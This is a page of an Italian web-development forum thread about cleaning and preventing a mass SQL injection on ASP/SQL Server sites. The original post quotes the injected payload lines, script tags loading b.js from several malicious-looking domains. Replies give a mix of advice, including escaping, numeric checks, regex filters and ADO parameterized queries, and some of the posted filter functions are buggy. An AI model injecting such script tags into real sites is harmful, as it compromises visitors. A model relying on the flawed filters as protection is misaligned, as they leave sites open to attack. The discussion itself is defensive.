Pagina 1 di 2 1 2 ultimoultimo
Visualizzazione dei risultati da 1 a 10 su 16
  1. #1

    Aiuto per update contro SQL Injection Attacks

    Ciao a tutti ho un cliente al quale ho sviluppato un pannello per la gestione di alcune tabelle. Da un pò di tempo i server web Windows sono oggetto di attacchi SQL injection.
    In attesa di capire quale possa essere la soluzione definita a questo problema vorrei pianificare un'operazione che possa ripulire le tabelle eventualmente inzozzate.
    Ora il problema è che lo script caricato cambia sempre:

    <script src=http://www.aspssl63.com/b.js></script>
    <script src=http://www.hdadwcd.com/b.js></script>
    <script src=http://www.tid62.com/b.js></script>

    La struttura è identica tranne che per il nome di dominio (aspssl63, hdadwcd, tid62).
    Come posso modificare questa istruzione sql in modo tale da bypassare il problema del dominio? Attualmente la modifica è manuale.

    UPDATE tabella
    SET nomecampo = Replace(nomecampo, '<script src=http://www.aspssl63.com/b.js></script>', '')
    WHERE (nomecampo LIKE '%http://www.aspssl63.com/b.js%')

  2. #2
    Credo dovresti usare un'istruzione che supporta espressioni regolari (con appunto la parte del dominio variabile).

    Sinceramente eviterei e farei a manina che tanto perdi più tempo a cercare come fare uno script che faccia tutto in automatico.
    Son solo 3 domini

    La soluzione all'SQL Injection che sta inondando la rete nell'ultimo mese si previene:

    - Facendo la replace di apici con doppi apici (replace(str,"'","''")
    - Controllando che tutti i dati numerici ricevuti con Request siano effettivamente dei numeri
    codice:
    id_utente = Trim(Request("id_utente"))
    
    if id_utente = "" or not isNumeric(id_utente) then id_utente = 0
    - (In aggiunta, solo se su SQL Server!) Nelle query delimitare anche i valori numerici con gli apici
    codice:
    sSql = "SELECT * FROM Tabella WHERE id_numerico = 'id_numerico'
    cioè
    sSql = "SELECT * FROM Tabella WHERE id_numerico = '" & id_numerico & "'"

    Spero ti sia utile

  3. #3
    Il problema che i domini ora sono tre, ma ne escono almeno tre al giorno...

  4. #4
    Quando avrai risolto come ti ho detto non ti dovrai più preoccupare di quanti proxy nuovi usciranno fuori

    Anche io c'avevo pensato a una cosa 'universale' ma alla fine ho corretto i problemi di sicurezza del codice e ho ripulito il db.

  5. #5

  6. #6
    Ciao, per prima cosa usa questa funzione per ogni execute:

    <%
    Function stripSQL(param)
    stripSQL = Replace(param, "'", "''")
    stripSQL = (param)
    Set RegularExpressionObject = New RegExp
    ' First pattern is the ; until –
    With RegularExpressionObject
    .Pattern = ";.+CAST\(.+–"
    .IgnoreCase = True
    .Global = True
    End With
    stripSQL = RegularExpressionObject.Replace(stripSQL, "")
    ' Just to be on the safe side, replace all ;
    stripSQL = Replace(stripSQL, ";", ",")
    Set RegularExpressionObject = nothing
    End Function
    %>

    Questa soluzione è una "pezza" veloce che ti risolve il problema.

    In secondo luogo le query scrivile con i parametri ADO e puoi stare tranquillo. Il sistema di concatenamento di stringhe non è affatto sicuro.

    Spero di essere stato utile.

    Ciao, Vito
    ...God must love stupid people...He made so many...

    www.eurodomus.org

  7. #7
    dimenticavo....

    pulisci il DB SOLTANTO dopo aver corretto le procedure altrimenti non ne esci vivo...

    Tutte le query (select, insert, update, delete)
    ...God must love stupid people...He made so many...

    www.eurodomus.org

  8. #8
    Grazie ragazzi.
    Preziosissimi...

  9. #9
    Utente di HTML.it L'avatar di sanny82
    Registrato dal
    Mar 2003
    Messaggi
    689
    Ciao a tutti,
    ho il vostro stesso problema e ho pensato di fare così,
    per cercare di risolvere il problema...

    Function FixSQL(stringa)
    stripSQL = (stringa)
    Set RegularExpressionObject = New RegExp
    ' First pattern is the ; until –
    With RegularExpressionObject
    .Pattern = ";.+CAST\(.+–"
    .IgnoreCase = True
    .Global = True
    End With
    With RegularExpressionObject
    .Pattern = ";.+UPDATE\(.+–"
    .IgnoreCase = True
    .Global = True
    End With
    With RegularExpressionObject
    .Pattern = ";.+INSERT\(.+–"
    .IgnoreCase = True
    .Global = True
    End With
    With RegularExpressionObject
    .Pattern = ";.+DELETE\(.+–"
    .IgnoreCase = True
    .Global = True
    End With
    With RegularExpressionObject
    .Pattern = ";.+SELECT\(.+–"
    .IgnoreCase = True
    .Global = True
    End With
    stripSQL = RegularExpressionObject.Replace(stripSQL, "")
    ' Just to be on the safe side, replace all ;
    stripSQL = Replace(stripSQL, ";", ",")
    Set RegularExpressionObject = nothing

    FixSQL = stripSQL
    End function

    Che ne dite???

    Volevo chiedervi, cosa intendete per scrivere query con i parametri ADO.

    Grazie mille!
    una parola è poca e due sono troppe

  10. #10
    Ciao, una roba di questo tipo:

    set insert = Server.CreateObject("ADODB.Command")
    insert.ActiveConnection = Application("cnn")
    insert.CommandText = "INSERT INTO dbo.tuatabella (IdXX, IdLivelloXX, IdFasciaXX, Data, Online) VALUES (?, ?, ?, GETDATE(), ?)"
    insert.Parameters.Append insert.CreateParameter("@IdXX", 3, 1,0,Tuo_Parametro_1)
    insert.Parameters.Append insert.CreateParameter("@IdLivello", 3, 1,0,Tuo_Parametro_2)
    insert.Parameters.Append insert.CreateParameter("@IdFascia", 3, 1,0,Tuo_Parametro_3)
    insert.Parameters.Append insert.CreateParameter("@Online", 11, 1,0,Tuo_Parametro_4)
    insert.CommandType = 1
    insert.CommandTimeout = 0
    insert.Execute

    Ciao,

    Vito
    ...God must love stupid people...He made so many...

    www.eurodomus.org

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2024 vBulletin Solutions, Inc. All rights reserved.